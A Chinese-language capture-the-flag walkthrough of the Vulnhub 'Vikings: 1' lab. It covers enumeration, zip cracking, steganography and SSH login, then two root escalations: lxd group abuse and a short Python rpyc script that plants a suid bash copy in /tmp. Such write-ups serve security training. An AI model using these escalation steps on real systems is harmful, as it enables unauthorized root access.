Vulnhub 靶场 VIKINGS: 1

前期准备:

靶机下载地址:https://www.vulnhub.com/entry/vikings-1,741/

kali攻击机ip:192.168.11.129
靶机ip:192.168.11.185

一、信息收集

1.使用nmap对目标靶机进行扫描

Vulnhub 靶场 VIKINGS: 1

发现开放了22和80端口。

2. 80端口

访问80端口:

Vulnhub 靶场 VIKINGS: 1

检查 site 目录下的内容:

Vulnhub 靶场 VIKINGS: 1

检查了一下没发现什么,扫一下目录:

Vulnhub 靶场 VIKINGS: 1

发现有个 war.txt 文件,查看一下:

Vulnhub 靶场 VIKINGS: 1

再访问 /war-is-over :

Vulnhub 靶场 VIKINGS: 1

应该是个文件,下载下来 base64 解码看看是个什么:

Vulnhub 靶场 VIKINGS: 1

发现是个zip压缩包,解压一下:

Vulnhub 靶场 VIKINGS: 1

发现需要密码,那就破解一下:

Vulnhub 靶场 VIKINGS: 1

解得密码: ragnarok123,解压后发现试一张图片:

Vulnhub 靶场 VIKINGS: 1

看下里面有没有藏什么文件或者隐写:

Vulnhub 靶场 VIKINGS: 1

发现藏有一个压缩包,压缩包里有个 user 文件:

Vulnhub 靶场 VIKINGS: 1

是一个账户: floki:f@m0usboatbuilde7,ssh登录。

二、漏洞利用

Vulnhub 靶场 VIKINGS: 1

进入系统后查下权限:

Vulnhub 靶场 VIKINGS: 1

发现是 lxd 组里的,可以在这里提权。

一、第一种方法 - lxd 提权

查看一下 lxd:

Vulnhub 靶场 VIKINGS: 1

发现可以用,查找一下了以利用的漏洞:

Vulnhub 靶场 VIKINGS: 1

发现 46978.sh 查看一下怎么利用:

Vulnhub 靶场 VIKINGS: 1

Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]

Vulnhub 靶场 VIKINGS: 1

Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]

Vulnhub 靶场 VIKINGS: 1

我这里下载不了 alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub ,说缺少文件校验和。没办法。后续按照步骤做就可以获得 root 权限

Step 3: Run this script and you will get root [Victim Machine]

Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

第二种方法

在 floki 根目录下还发现了些别的信息:

Vulnhub 靶场 VIKINGS: 1

readme.txt 中说的意思是找到 Ragner ,这应该是个用户,但是不知道密码。

boat 文件中说的是 collatz-conjecture (考拉兹猜想),又称为3n+1猜想等,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。如n = 6,根据上述数式,得出 6→3→10→5→16→8→4→2→1。boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上差的结果是 29th Prime Number = 109 。所以写个小脚本:

def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

Vulnhub 靶场 VIKINGS: 1

Decimal 解码得:mR)|>^/Gky[gz=.F#j5P(

Vulnhub 靶场 VIKINGS: 1

https://gchq.github.io/CyberChef/ 这网站解码功能很全,就是初次访问的有点慢)

登录 Ragner 用户:

Vulnhub 靶场 VIKINGS: 1

写个交互式 shell:

Vulnhub 靶场 VIKINGS: 1

查看一下文件:

Vulnhub 靶场 VIKINGS: 1

user.txt :

Vulnhub 靶场 VIKINGS: 1

应该是一个 flag。在查看下别的文件:

Vulnhub 靶场 VIKINGS: 1

发现 .profile 中在运行 rpyc,

Vulnhub 靶场 VIKINGS: 1

这个还是 ragnar 用户多出来的,那就监听一下 tcp 连接:

Vulnhub 靶场 VIKINGS: 1

发现在监听 18812 端口,网上查了一下发现 rpyc_classic 是不安全的:

Vulnhub 靶场 VIKINGS: 1

这里将root权限直接复制过来:

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')

fn = conn.teleport(getshell)
fn()

Vulnhub 靶场 VIKINGS: 1

运行 bashroot 并查看flag:

Vulnhub 靶场 VIKINGS: 1

上一篇:Dockerfile制作alpine-glibc镜像


下一篇:基于alpine构建jdk镜像遇到的坑